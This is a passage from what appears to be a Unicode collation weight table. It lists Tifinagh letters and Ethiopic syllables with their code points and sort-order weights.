[.245C.0020.0002] # NKO LOW TONE APOSTROPHE -2D30 ; [.245D.0020.0002] # TIFINAGH LETTER YA -2D31 ; [.245E.0020.0002] # TIFINAGH LETTER YAB -2D32 ; [.245F.0020.0002] # TIFINAGH LETTER YABH -2D33 ; [.2460.0020.0002] # TIFINAGH LETTER YAG -2D34 ; [.2461.0020.0002] # TIFINAGH LETTER YAGHH -2D35 ; [.2462.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAJ -2D36 ; [.2463.0020.0002] # TIFINAGH LETTER YAJ -2D37 ; [.2464.0020.0002] # TIFINAGH LETTER YAD -2D38 ; [.2465.0020.0002] # TIFINAGH LETTER YADH -2D39 ; [.2466.0020.0002] # TIFINAGH LETTER YADD -2D3A ; [.2467.0020.0002] # TIFINAGH LETTER YADDH -2D3B ; [.2468.0020.0002] # TIFINAGH LETTER YEY -2D66 ; [.2469.0020.0002] # TIFINAGH LETTER YE -2D3C ; [.246A.0020.0002] # TIFINAGH LETTER YAF -2D3D ; [.246B.0020.0002] # TIFINAGH LETTER YAK -2D3E ; [.246C.0020.0002] # TIFINAGH LETTER TUAREG YAK -2D3F ; [.246D.0020.0002] # TIFINAGH LETTER YAKHH -2D40 ; [.246E.0020.0002] # TIFINAGH LETTER YAH -2D41 ; [.246F.0020.0002] # TIFINAGH LETTER BERBER ACADEMY YAH -2D42 ; [.2470.0020.0002] # TIFINAGH LETTER TUAREG YAH -2D43 ; [.2471.0020.0002] # TIFINAGH LETTER YAHH -2D44 ; [.2472.0020.0002] # TIFINAGH LETTER YAA -2D45 ; [.2473.0020.0002] # TIFINAGH LETTER YAKH -2D46 ; [.2474.0020.0002] # TIFINAGH LETTER TUAREG YAKH -2D47 ; [.2475.0020.0002] # TIFINAGH LETTER YAQ -2D48 ; [.2476.0020.0002] # TIFINAGH LETTER TUAREG YAQ -2D49 ; [.2477.0020.0002] # TIFINAGH LETTER YI -2D4A ; [.2478.0020.0002] # TIFINAGH LETTER YAZH -2D4B ; [.2479.0020.0002] # TIFINAGH LETTER AHAGGAR YAZH -2D4C ; [.247A.0020.0002] # TIFINAGH LETTER TUAREG YAZH -2D4D ; [.247B.0020.0002] # TIFINAGH LETTER YAL -2D4E ; [.247C.0020.0002] # TIFINAGH LETTER YAM -2D4F ; [.247D.0020.0002] # TIFINAGH LETTER YAN -2D50 ; [.247E.0020.0002] # TIFINAGH LETTER TUAREG YAGN -2D51 ; [.247F.0020.0002] # TIFINAGH LETTER TUAREG YANG -2D52 ; [.2480.0020.0002] # TIFINAGH LETTER YAP -2D53 ; [.2481.0020.0002] # TIFINAGH LETTER YU -2D67 ; [.2482.0020.0002] # TIFINAGH LETTER YO -2D54 ; [.2483.0020.0002] # TIFINAGH LETTER YAR -2D55 ; [.2484.0020.0002] # TIFINAGH LETTER YARR -2D56 ; [.2485.0020.0002] # TIFINAGH LETTER YAGH -2D57 ; [.2486.0020.0002] # TIFINAGH LETTER TUAREG YAGH -2D58 ; [.2487.0020.0002] # TIFINAGH LETTER AYER YAGH -2D59 ; [.2488.0020.0002] # TIFINAGH LETTER YAS -2D5A ; [.2489.0020.0002] # TIFINAGH LETTER YASS -2D5B ; [.248A.0020.0002] # TIFINAGH LETTER YASH -2D5C ; [.248B.0020.0002] # TIFINAGH LETTER YAT -2D5D ; [.248C.0020.0002] # TIFINAGH LETTER YATH -2D5E ; [.248D.0020.0002] # TIFINAGH LETTER YACH -2D5F ; [.248E.0020.0002] # TIFINAGH LETTER YATT -2D60 ; [.248F.0020.0002] # TIFINAGH LETTER YAV -2D61 ; [.2490.0020.0002] # TIFINAGH LETTER YAW -2D62 ; [.2491.0020.0002] # TIFINAGH LETTER YAY -2D63 ; [.2492.0020.0002] # TIFINAGH LETTER YAZ -2D64 ; [.2493.0020.0002] # TIFINAGH LETTER TAWELLEMET YAZ -2D65 ; [.2494.0020.0002] # TIFINAGH LETTER YAZZ -2D6F ; [.2495.0020.0002] # TIFINAGH MODIFIER LETTER LABIALIZATION MARK -1200 ; [.2496.0020.0002] # ETHIOPIC SYLLABLE HA -1201 ; [.2497.0020.0002] # ETHIOPIC SYLLABLE HU -1202 ; [.2498.0020.0002] # ETHIOPIC SYLLABLE HI -1203 ; [.2499.0020.0002] # ETHIOPIC SYLLABLE HAA -1204 ; [.249A.0020.0002] # ETHIOPIC SYLLABLE HEE -1205 ; [.249B.0020.0002] # ETHIOPIC SYLLABLE HE -1206 ; [.249C.0020.0002] # ETHIOPIC SYLLABLE HO -1207 ; [.249D.0020.0002] # ETHIOPIC SYLLABLE HOA -1208 ; [.249E.0020.0002] # ETHIOPIC SYLLABLE LA -1209 ; [.249F.0020.0002] # ETHIOPIC SYLLABLE LU -120A ; [.24A0.0020.0002] # ETHIOPIC SYLLABLE LI -120B ; [.24A1.0020.0002] # ETHIOPIC SYLLABLE LAA -120C ; [.24A2.0020.0002] # ETHIOPIC SYLLABLE LEE -120D ; [.24A3.0020.0002] # ETHIOPIC SYLLABLE LE -120E ; [.24A4.0020.0002] # ETHIOPIC SYLLABLE LO -120F ; [.24A5.0020.0002] # ETHIOPIC SYLLABLE LWA -2D80 ; [.24A6.0020.0002] # ETHIOPIC SYLLABLE LOA -1210 ; [.24A7.0020.0002] # ETHIOPIC SYLLABLE HHA -1211 ; [.24A8.0020.0002] # ETHIOPIC SYLLABLE HHU -1212 ; [.24A9.0020.0002] # ETHIOPIC SYLLABLE HHI -1213 ; [.24AA.0020.0002] # ETHIOPIC SYLLABLE HHAA -1214 ; [.24AB.0020.0002] # ETHIOPIC SYLLABLE HHEE -1215 ; [.24AC.0020.0002] # ETHIOPIC SYLLABLE HHE -1216 ; [.24AD.0020.0002] # ETHIOPIC SYLLABLE HHO -1217 ; [.24AE.0020.0002] # ETHIOPIC SYLLABLE HHWA -1218 ; [.24AF.0020.0002] # ETHIOPIC SYLLABLE MA -1219 ; [.24B0.0020.0002] # ETHIOPIC SYLLABLE MU -121A ; [.24B1.0020.0002] # ETHIOPIC SYLLABLE MI -121B ; [.24B2.0020.0002] # ETHIOPIC SYLLABLE MAA -121C ; [.24B3.0020.0002] # ETHIOPIC SYLLABLE MEE -121D ; [.24B4.0020.0002] # ETHIOPIC SYLLABLE ME -121E ; [.24B5.0020.0002] # ETHIOPIC SYLLABLE MO -121F ; [.24B6.0020.0002] # ETHIOPIC SYLLABLE MWA -1380 ; [.24B7.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT MWA -1381 ; [.24B8.0020.0002] # ETHIOPIC SYLLABLE MWI -1382 ; [.24B9.0020.0002] # ETHIOPIC SYLLABLE MWEE -1383 ; [.24BA.0020.0002] # ETHIOPIC SYLLABLE MWE -2D81 ; [.24BB.0020.0002] # ETHIOPIC SYLLABLE MOA -1220 ; [.24BC.0020.0002] # ETHIOPIC SYLLABLE SZA -1221 ; [.24BD.0020.0002] # ETHIOPIC SYLLABLE SZU -1222 ; [.24BE.0020.0002] # ETHIOPIC SYLLABLE SZI -1223 ; [.24BF.0020.0002] # ETHIOPIC SYLLABLE SZAA -1224 ; [.24C0.0020.0002] # ETHIOPIC SYLLABLE SZEE -1225 ; [.24C1.0020.0002] # ETHIOPIC SYLLABLE SZE -1226 ; [.24C2.0020.0002] # ETHIOPIC SYLLABLE SZO -1227 ; [.24C3.0020.0002] # ETHIOPIC SYLLABLE SZWA -1228 ; [.24C4.0020.0002] # ETHIOPIC SYLLABLE RA -1229 ; [.24C5.0020.0002] # ETHIOPIC SYLLABLE RU -122A ; [.24C6.0020.0002] # ETHIOPIC SYLLABLE RI -122B ; [.24C7.0020.0002] # ETHIOPIC SYLLABLE RAA -122C ; [.24C8.0020.0002] # ETHIOPIC SYLLABLE REE -122D ; [.24C9.0020.0002] # ETHIOPIC SYLLABLE RE -122E ; [.24CA.0020.0002] # ETHIOPIC SYLLABLE RO -122F ; [.24CB.0020.0002] # ETHIOPIC SYLLABLE RWA -2D82 ; [.24CC.0020.0002] # ETHIOPIC SYLLABLE ROA -1230 ; [.24CD.0020.0002] # ETHIOPIC SYLLABLE SA -1231 ; [.24CE.0020.0002] # ETHIOPIC SYLLABLE SU -1232 ; [.24CF.0020.0002] # ETHIOPIC SYLLABLE SI -1233 ; [.24D0.0020.0002] # ETHIOPIC SYLLABLE SAA -1234 ; [.24D1.0020.0002] # ETHIOPIC SYLLABLE SEE -1235 ; [.24D2.0020.0002] # ETHIOPIC SYLLABLE SE -1236 ; [.24D3.0020.0002] # ETHIOPIC SYLLABLE SO -1237 ; [.24D4.0020.0002] # ETHIOPIC SYLLABLE SWA -2D83 ; [.24D5.0020.0002] # ETHIOPIC SYLLABLE SOA -AB01 ; [.24D6.0020.0002] # ETHIOPIC SYLLABLE TTHU -AB02 ; [.24D7.0020.0002] # ETHIOPIC SYLLABLE TTHI -AB03 ; [.24D8.0020.0002] # ETHIOPIC SYLLABLE TTHAA -AB04 ; [.24D9.0020.0002] # ETHIOPIC SYLLABLE TTHEE -AB05 ; [.24DA.0020.0002] # ETHIOPIC SYLLABLE TTHE -AB06 ; [.24DB.0020.0002] # ETHIOPIC SYLLABLE TTHO -1238 ; [.24DC.0020.0002] # ETHIOPIC SYLLABLE SHA -1239 ; [.24DD.0020.0002] # ETHIOPIC SYLLABLE SHU -123A ; [.24DE.0020.0002] # ETHIOPIC SYLLABLE SHI -123B ; [.24DF.0020.0002] # ETHIOPIC SYLLABLE SHAA -123C ; [.24E0.0020.0002] # ETHIOPIC SYLLABLE SHEE -123D ; [.24E1.0020.0002] # ETHIOPIC SYLLABLE SHE -123E ; [.24E2.0020.0002] # ETHIOPIC SYLLABLE SHO -123F ; [.24E3.0020.0002] # ETHIOPIC SYLLABLE SHWA -2D84 ; [.24E4.0020.0002] # ETHIOPIC SYLLABLE SHOA -1240 ; [.24E5.0020.0002] # ETHIOPIC SYLLABLE QA -1241 ; [.24E6.0020.0002] # ETHIOPIC SYLLABLE QU -1242 ; [.24E7.0020.0002] # ETHIOPIC SYLLABLE QI -1243 ; [.24E8.0020.0002] # ETHIOPIC SYLLABLE QAA -1244 ; [.24E9.0020.0002] # ETHIOPIC SYLLABLE QEE -1245 ; [.24EA.0020.0002] # ETHIOPIC SYLLABLE QE -1246 ; [.24EB.0020.0002] # ETHIOPIC SYLLABLE QO -1247 ; [.24EC.0020.0002] # ETHIOPIC SYLLABLE QOA -1248 ; [.24ED.0020.0002] # ETHIOPIC SYLLABLE QWA -124A ; [.24EE.0020.0002] # ETHIOPIC SYLLABLE QWI -124B ; [.24EF.0020.0002] # ETHIOPIC SYLLABLE QWAA -124C ; [.24F0.0020.0002] # ETHIOPIC SYLLABLE QWEE -124D ; [.24F1.0020.0002] # ETHIOPIC SYLLABLE QWE -1250 ; [.24F2.0020.0002] # ETHIOPIC SYLLABLE QHA -1251 ; [.24F3.0020.0002] # ETHIOPIC SYLLABLE QHU -1252 ; [.24F4.0020.0002] # ETHIOPIC SYLLABLE QHI -1253 ; [.24F5.0020.0002] # ETHIOPIC SYLLABLE QHAA -1254 ; [.24F6.0020.0002] # ETHIOPIC SYLLABLE QHEE -1255 ; [.24F7.0020.0002] # ETHIOPIC SYLLABLE QHE -1256 ; [.24F8.0020.0002] # ETHIOPIC SYLLABLE QHO -1258 ; [.24F9.0020.0002] # ETHIOPIC SYLLABLE QHWA -125A ; [.24FA.0020.0002] # ETHIOPIC SYLLABLE QHWI -125B ; [.24FB.0020.0002] # ETHIOPIC SYLLABLE QHWAA -125C ; [.24FC.0020.0002] # ETHIOPIC SYLLABLE QHWEE -125D ; [.24FD.0020.0002] # ETHIOPIC SYLLABLE QHWE -1260 ; [.24FE.0020.0002] # ETHIOPIC SYLLABLE BA -1261 ; [.24FF.0020.0002] # ETHIOPIC SYLLABLE BU -1262 ; [.2500.0020.0002] # ETHIOPIC SYLLABLE BI -1263 ; [.2501.0020.0002] # ETHIOPIC SYLLABLE BAA -1264 ; [.2502.0020.0002] # ETHIOPIC SYLLABLE BEE -1265 ; [.2503.0020.0002] # ETHIOPIC SYLLABLE BE -1266 ; [.2504.0020.0002] # ETHIOPIC SYLLABLE BO -1267 ; [.2505.0020.0002] # ETHIOPIC SYLLABLE BWA -1384 ; [.2506.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT BWA -1385 ; [.2507.0020.0002] # ETHIOPIC SYLLABLE BWI -1386 ; [.2508.0020.0002] # ETHIOPIC SYLLABLE BWEE -1387 ; [.2509.0020.0002] # ETHIOPIC SYLLABLE BWE -2D85 ; [.250A.0020.0002] # ETHIOPIC SYLLABLE BOA -1268 ; [.250B.0020.0002] # ETHIOPIC SYLLABLE VA -1269 ; [.250C.0020.0002] # ETHIOPIC SYLLABLE VU -126A ; [.250D.0020.0002] # ETHIOPIC SYLLABLE VI -126B ; [.250E.0020.0002] # ETHIOPIC SYLLABLE VAA -126C ; [.250F.0020.0002] # ETHIOPIC SYLLABLE VEE -126D ; [.2510.0020.0002] # ETHIOPIC SYLLABLE VE -126E ; [.2511.0020.0002] # ETHIOPIC SYLLABLE VO -126F ; [.2512.0020.0002] # ETHIOPIC SYLLABLE VWA -1270 ; [.2513.0020.0002] # ETHIOPIC SYLLABLE TA -1271 ; [.2514.0020.0002] # ETHIOPIC SYLLABLE TU -1272 ; [.2515.0020.0002] # ETHIOPIC SYLLABLE TI -1273 ; [.2516.0020.0002] # ETHIOPIC SYLLABLE TAA -1274 ; [.2517.0020.0002] # ETHIOPIC SYLLABLE TEE -1275 ; [.2518.0020.0002] # ETHIOPIC SYLLABLE TE -1276 ; [.2519.0020.0002] # ETHIOPIC SYLLABLE TO -1277 ; [.251A.0020.0002] # ETHIOPIC SYLLABLE TWA -2D86 ; [.251B.0020.0002] # ETHIOPIC SYLLABLE TOA -1278 ; [.251C.0020.0002] # ETHIOPIC SYLLABLE CA -1279 ; [.251D.0020.0002] # ETHIOPIC SYLLABLE CU -127A ; [.251E.0020.0002] # ETHIOPIC SYLLABLE CI -127B ; [.251F.0020.0002] # ETHIOPIC SYLLABLE CAA -127C ; [.2520.0020.0002] # ETHIOPIC SYLLABLE CEE -127D ; [.2521.0020.0002] # ETHIOPIC SYLLABLE CE -127E ; [.2522.0020.0002] # ETHIOPIC SYLLABLE CO -127F ; [.2523.0020.0002] # ETHIOPIC SYLLABLE CWA -2D87 ; [.2524.0020.0002] # ETHIOPIC SYLLABLE COA -1280 ; [.2525.0020.0002] # ETHIOPIC SYLLABLE XA -1281 ; [.2526.0020.0002] # ETHIOPIC SYLLABLE XU -1282 ; [.2527.0020.0002] # ETHIOPIC SYLLABLE XI -1283 ; [.2528.0020.0002] # ETHIOPIC SYLLABLE XAA -1284 ; [.2529.0020.0002] # ETHIOPIC SYLLABLE XEE -1285 ; [.252A.0020.0002] # ETHIOPIC SYLLABLE XE -1286 ; [.252B.0020.0002] # ETHIOPIC SYLLABLE XO -1287 ; [.252C.0020.0002] # ETHIOPIC SYLLABLE XOA -1288 ; [.252D.0020.0002] # ETHIOPIC SYLLABLE XWA -128A ; [.252E.0020.0002] # ETHIOPIC SYLLABLE XWI -128B ; [.252F.0020.0002] # ETHIOPIC SYLLABLE XWAA -128C ; [.2530.0020.0002] # ETHIOPIC SYLLABLE XWEE -128D ; [.2531.0020.0002] # ETHIOPIC SYLLABLE XWE -1290 ; [.2532.0020.0002] # ETHIOPIC SYLLABLE NA -1291 ; [.2533.0020.0002] # ETHIOPIC SYLLABLE NU -1292 ; [.2534.0020.0002] # ETHIOPIC SYLLABLE NI -1293 ; [.2535.0020.0002] # ETHIOPIC SYLLABLE NAA -1294 ; [.2536.0020.0002] # ETHIOPIC SYLLABLE NEE -1295 ; [.2537.0020.0002] # ETHIOPIC SYLLABLE NE -1296 ; [.2538.0020.0002] # ETHIOPIC SYLLABLE NO -1297 ; [.2539.0020.0002] # ETHIOPIC SYLLABLE NWA -2D88 ; [.253A.0020.0002] # ETHIOPIC SYLLABLE NOA -1298 ; [.253B.0020.0002] # ETHIOPIC SYLLABLE NYA -1299 ; [.253C.0020.0002] # ETHIOPIC SYLLABLE NYU -129A ; [.253D.0020.0002] # ETHIOPIC SYLLABLE NYI -129B ; [.253E.0020.0002] # ETHIOPIC SYLLABLE NYAA -129C ; [.253F.0020.0002] # ETHIOPIC SYLLABLE NYEE -129D ; [.2540.0020.0002] # ETHIOPIC SYLLABLE NYE -129E ; [.2541.0020.0002] # ETHIOPIC SYLLABLE NYO -129F ; [.2542.0020.0002] # ETHIOPIC SYLLABLE NYWA -2D89 ; [.2543.0020.0002] # ETHIOPIC SYLLABLE NYOA -12A0 ; [.2544.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL A -12A1 ; [.2545.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL U -12A2 ; [.2546.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL I -12A3 ; [.2547.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL AA -12A4 ; [.2548.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL EE -12A5 ; [.2549.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL E -12A6 ; [.254A.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL O -12A7 ; [.254B.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL WA -2D8A ; [.254C.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL OA -12A8 ; [.254D.0020.0002] # ETHIOPIC SYLLABLE KA -12A9 ; [.254E.0020.0002] # ETHIOPIC SYLLABLE KU -12AA ; [.254F.0020.0002] # ETHIOPIC SYLLABLE KI -12AB ; [.2550.0020.0002] # ETHIOPIC SYLLABLE KAA -12AC ; [.2551.0020.0002] # ETHIOPIC SYLLABLE KEE -12AD ; [.2552.0020.0002] # ETHIOPIC SYLLABLE KE -12AE ; [.2553.0020.0002] # ETHIOPIC SYLLABLE KO -12AF ; [.2554.0020.0002] # ETHIOPIC SYLLABLE KOA -12B0 ; [.2555.0020.0002] # ETHIOPIC SYLLABLE KWA -12B2 ; [.2556.0020.0002] # ETHIOPIC SYLLABLE KWI -12B3 ; [.2557.0020.0002] # ETHIOPIC SYLLABLE KWAA -12B4 ; [.2558.0020.0002] # ETHIOPIC SYLLABLE KWEE -12B5 ; [.2559.0020.0002] # ETHIOPIC SYLLABLE KWE -12B8 ; [.255A.0020.0002] # ETHIOPIC SYLLABLE KXA -12B9 ; [.255B.0020.0002] # ETHIOPIC SYLLABLE KXU -12BA ; [.255C.0020.0002] # ETHIOPIC SYLLABLE KXI -12BB ; [.255D.0020.0002] # ETHIOPIC SYLLABLE KXAA -12BC ; [.255E.0020.0002] # ETHIOPIC SYLLABLE KXEE -12BD ; [.255F.0020.0002] # ETHIOPIC SYLLABLE KXE -12BE ; [.2560.0020.0002] # ETHIOPIC SYLLABLE KXO -12C0 ; [.2561.0020.0002] # ETHIOPIC SYLLABLE KXWA -12C2 ; [.2562.0020.0002] # ETHIOPIC SYLLABLE KXWI -12C3 ; [.2563.0020.0002] # ETHIOPIC SYLLABLE KXWAA -12C4 ; [.2564.0020.0002] # ETHIOPIC SYLLABLE KXWEE -12C5 ; [.2565.0020.0002] # ETHIOPIC SYLLABLE KXWE -12C8 ; [.2566.0020.0002] # ETHIOPIC SYLLABLE WA -12C9 ; [.2567.0020.0002] # ETHIOPIC SYLLABLE WU -12CA ; [.2568.0020.0002] # ETHIOPIC SYLLABLE WI -12CB ; [.2569.0020.0002] # ETHIOPIC SYLLABLE WAA -12CC ; [.256A.0020.0002] # ETHIOPIC SYLLABLE WEE -12CD ; [.256B.0020.0002] # ETHIOPIC SYLLABLE WE -12CE ; [.256C.0020.0002] # ETHIOPIC SYLLABLE WO -12CF ; [.256D.0020.0002] # ETHIOPIC SYLLABLE WOA -12D0 ; [.256E.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL A -12D1 ; [.256F.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL U -12D2 ; [.2570.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL I -12D3 ; [.2571.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL AA -12D4 ; [.2572.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL EE -12D5 ; [.2573.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL E -12D6 ; [.2574.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL O -12D8 ; [.2575.0020.0002] # ETHIOPIC SYLLABLE ZA -12D9 ; [.2576.0020.0002] # ETHIOPIC SYLLABLE ZU -12DA ; [.2577.0020.0002] # ETHIOPIC SYLLABLE ZI -12DB ; [.2578.0020.0002] # ETHIOPIC SYLLABLE ZAA -12DC ; [.2579.0020.0002] # ETHIOPIC SYLLABLE ZEE -12DD ; [.257A.0020.0002] # ETHIOPIC SYLLABLE ZE -12DE ; [.257B.0020.0002] # ETHIOPIC SYLLABLE ZO -12DF ; [.257C.0020.0002] # ETHIOPIC SYLLABLE ZWA -2D8B ; [.257D.0020.0002] # ETHIOPIC SYLLABLE ZOA -AB11 ; [.257E.0020.0002] # ETHIOPIC SYLLABLE DZU -AB12 ; [.257F.0020.0002] # ETHIOPIC SYLLABLE DZI -AB13 ; [.2580.0020.0002] # ETHIOPIC SYLLABLE DZAA -AB14 ; [.2581.0020.0002] # ETHIOPIC SYLLABLE DZEE -AB15 ; [.2582.0020.0002] # ETHIOPIC SYLLABLE DZE -AB16 ; [.2583.0020.0002] # ETHIOPIC SYLLABLE DZO -12E0 ; [.2584.0020.0002] # ETHIOPIC SYLLABLE ZHA -12E1 ; [.2585.0020.0002] # ETHIOPIC SYLLABLE ZHU -12E2 ; [.2586.0020.0002] # ETHIOPIC SYLLABLE ZHI -12E3 ; [.2587.0020.0002] # ETHIOPIC SYLLABLE ZHAA -12E4 ; [.2588.0020.0002] # ETHIOPIC SYLLABLE ZHEE -12E5 ; [.2589.0020.0002] # ETHIOPIC SYLLABLE ZHE -12E6 ; [.258A.0020.0002] # ETHIOPIC SYLLABLE ZHO -12E7 ; [.258B.0020.0002] # ETHIOPIC SYLLABLE ZHWA -12E8 ; [.258C.0020.0002] # ETHIOPIC SYLLABLE YA -12E9 ; [.258D.0020.0002] # ETHIOPIC SYLLABLE YU -12EA ; [.258E.0020.0002] # ETHIOPIC SYLLABLE YI -12EB ; [.258F.0020.0002] # ETHIOPIC SYLLABLE YAA -12EC ; [.2590.0020.0002] # ETHIOPIC SYLLABLE YEE -12ED ; [.2591.0020.0002] # ETHIOPIC SYLLABLE YE -12EE ; [.2592.0020.0002] # ETHIOPIC SYLLABLE YO -12EF ; [.2593.0020.0002] # ETHIOPIC SYLLABLE YOA -12F0 ; [.2594.0020.0002] # ETHIOPIC SYLLABLE DA -12F1 ; [.2595.0020.0002] # ETHIOPIC SYLLABLE DU -12F2 ; [.2596.0020.0002] # ETHIOPIC SYLLABLE DI -12F3 ; [.2597.0020.0002] # ETHIOPIC SYLLABLE DAA -12F4 ; [.2598.0020.0002] # ETHIOPIC SYLLABLE DEE -12F5 ; [.2599.0020.0002] # ETHIOPIC SYLLABLE DE -12F6 ; [.259A.0020.0002] # ETHIOPIC SYLLABLE DO -12F7 ; [.259B.0020.0002] # ETHIOPIC SYLLABLE DWA -2D8C ; [.259C.0020.0002] # ETHIOPIC SYLLABLE DOA -AB09 ; [.259D.0020.0002] # ETHIOPIC SYLLABLE DDHU -AB0A ; [.259E.0020.0002] # ETHIOPIC SYLLABLE DDHI -AB0B ; [.259F.0020.0002] # ETHIOPIC SYLLABLE DDHAA -AB0C ; [.25A0.0020.0002] # ETHIOPIC SYLLABLE DDHEE -AB0D ; [.25A1.0020.0002] # ETHIOPIC SYLLABLE DDHE -AB0E ; [.25A2.0020.0002] # ETHIOPIC SYLLABLE DDHO -12F8 ; [.25A3.0020.0002] # ETHIOPIC SYLLABLE DDA -12F9 ; [.25A4.0020.0002] # ETHIOPIC SYLLABLE DDU -12FA ; [.25A5.0020.0002] # ETHIOPIC SYLLABLE DDI -12FB ; [.25A6.0020.0002] # ETHIOPIC SYLLABLE DDAA -12FC ; [.25A7.0020.0002] # ETHIOPIC SYLLABLE DDEE -12FD ; [.25A8.0020.0002] # ETHIOPIC SYLLABLE DDE -12FE ; [.25A9.0020.0002] # ETHIOPIC SYLLABLE DDO -12FF ; [.25AA.0020.0002] # ETHIOPIC SYLLABLE DDWA -2D8D ; [.25AB.0020.0002] # ETHIOPIC SYLLABLE DDOA -1300 ; [.25AC.0020.0002] # ETHIOPIC SYLLABLE JA -1301 ; [.25AD.0020.0002] # ETHIOPIC SYLLABLE JU -1302 ; [.25AE.0020.0002] # ETHIOPIC SYLLABLE JI -1303 ; [.25AF.0020.0002] # ETHIOPIC SYLLABLE JAA -1304 ; [.25B0.0020.0002] # ETHIOPIC SYLLABLE JEE -1305 ; [.25B1.0020.0002] # ETHIOPIC SYLLABLE JE -1306 ; [.25B2.0020.0002] # ETHIOPIC SYLLABLE JO -1307 ; [.25B3.0020.0002] # ETHIOPIC SYLLABLE JWA -2D8E ; [.25B4.0020.0002] # ETHIOPIC SYLLABLE JOA -1308 ; [.25B5.0020.0002] # ETHIOPIC SYLLABLE GA -1309 ; [.25B6.0020.0002] # ETHIOPIC SYLLABLE GU -130A ; [.25B7.0020.0002] # ETHIOPIC SYLLABLE GI -130B ; [.25B8.0020.0002] # ETHIOPIC SYLLABLE GAA -130C ; [.25B9.0020.0002] # ETHIOPIC SYLLABLE GEE -130D ; [.25BA.0020.0002] # ETHIOPIC SYLLABLE GE -130E ; [.25BB.0020.0002] # ETHIOPIC SYLLABLE GO -130F ; [.25BC.0020.0002] # ETHIOPIC SYLLABLE GOA -1310 ; [.25BD.0020.0002] # ETHIOPIC SYLLABLE GWA -1312 ; [.25BE.0020.0002] # ETHIOPIC SYLLABLE GWI -1313 ; [.25BF.0020.0002] # ETHIOPIC SYLLABLE GWAA -1314 ; [.25C0.0020.0002] # ETHIOPIC SYLLABLE GWEE -1315 ; [.25C1.0020.0002] # ETHIOPIC SYLLABLE GWE -1318 ; [.25C2.0020.0002] # ETHIOPIC SYLLABLE GGA -1319 ; [.25C3.0020.0002] # ETHIOPIC SYLLABLE GGU -131A ; [.25C4.0020.0002] # ETHIOPIC SYLLABLE GGI -131B ; [.25C5.0020.0002] # ETHIOPIC SYLLABLE GGAA -131C ; [.25C6.0020.0002] # ETHIOPIC SYLLABLE GGEE -131D ; [.25C7.0020.0002] # ETHIOPIC SYLLABLE GGE -131E ; [.25C8.0020.0002] # ETHIOPIC SYLLABLE GGO -131F ; [.25C9.0020.0002] # ETHIOPIC SYLLABLE GGWAA -2D93 ; [.25CA.0020.0002] # ETHIOPIC SYLLABLE GGWA -2D94 ; [.25CB.0020.0002] # ETHIOPIC SYLLABLE GGWI -2D95 ; [.25CC.0020.0002] # ETHIOPIC SYLLABLE GGWEE -2D96 ; [.25CD.0020.0002] # ETHIOPIC SYLLABLE GGWE -1320 ; [.25CE.0020.0002] # ETHIOPIC SYLLABLE THA -1321 ; [.25CF.0020.0002] # ETHIOPIC SYLLABLE THU -1322 ; [.25D0.0020.0002] # ETHIOPIC SYLLABLE THI -1323 ; [.25D1.0020.0002] # ETHIOPIC SYLLABLE THAA -1324 ; [.25D2.0020.0002] # ETHIOPIC SYLLABLE THEE -1325 ; [.25D3.0020.0002] # ETHIOPIC SYLLABLE THE -1326 ; [.25D4.0020.0002] # ETHIOPIC SYLLABLE THO -1327 ; [.25D5.0020.0002] # ETHIOPIC SYLLABLE THWA -2D8F ; [.25D6.0020.0002] # ETHIOPIC SYLLABLE THOA -1328 ; [.25D7.0020.0002] # ETHIOPIC SYLLABLE CHA -1329 ; [.25D8.0020.0002] # ETHIOPIC SYLLABLE CHU -132A ; [.25D9.0020.0002] # ETHIOPIC SYLLABLE CHI -132B ; [.25DA.0020.0002] # ETHIOPIC SYLLABLE CHAA -132C ; [.25DB.0020.0002] # ETHIOPIC SYLLABLE CHEE -132D ; [.25DC.0020.0002] # ETHIOPIC SYLLABLE CHE -132E ; [.25DD.0020.0002] # ETHIOPIC SYLLABLE CHO -132F ; [.25DE.0020.0002] # ETHIOPIC SYLLABLE CHWA -2D90 ; [.25DF.0020.0002] # ETHIOPIC SYLLABLE CHOA -AB20 ; [.25E0.0020.0002] # ETHIOPIC SYLLABLE CCHHA -AB21 ; [.25E1.0020.0002] # ETHIOPIC SYLLABLE CCHHU -AB22 ; [.25E2.0020.0002] # ETHIOPIC SYLLABLE CCHHI -AB23 ; [.25E3.0020.0002] # ETHIOPIC SYLLABLE CCHHAA -AB24 ; [.25E4.0020.0002] # ETHIOPIC SYLLABLE CCHHEE -AB25 ; [.25E5.0020.0002] # ETHIOPIC SYLLABLE CCHHE -AB26 ; [.25E6.0020.0002] # ETHIOPIC SYLLABLE CCHHO -1330 ; [.25E7.0020.0002] # ETHIOPIC SYLLABLE PHA -1331 ; [.25E8.0020.0002] # ETHIOPIC SYLLABLE PHU -1332 ; [.25E9.0020.0002] # ETHIOPIC SYLLABLE PHI -1333 ; [.25EA.0020.0002] # ETHIOPIC SYLLABLE PHAA -1334 ; [.25EB.0020.0002] # ETHIOPIC SYLLABLE PHEE -1335 ; [.25EC.0020.0002] # ETHIOPIC SYLLABLE PHE -1336 ; [.25ED.0020.0002] # ETHIOPIC SYLLABLE PHO -1337 ; [.25EE.0020.0002] # ETHIOPIC SYLLABLE PHWA -2D91 ; [.25EF.0020.0002] # ETHIOPIC SYLLABLE PHOA -1338 ; [.25F0.0020.0002] # ETHIOPIC SYLLABLE TSA -1339 ; [.25F1.0020.0002] # ETHIOPIC SYLLABLE TSU -133A ; [.25F2.0020.0002] # ETHIOPIC SYLLABLE TSI -133B ; [.25F3.0020.0002] # ETHIOPIC SYLLABLE TSAA -133C ; [.25F4.0020.0002] # ETHIOPIC SYLLABLE TSEE -133D 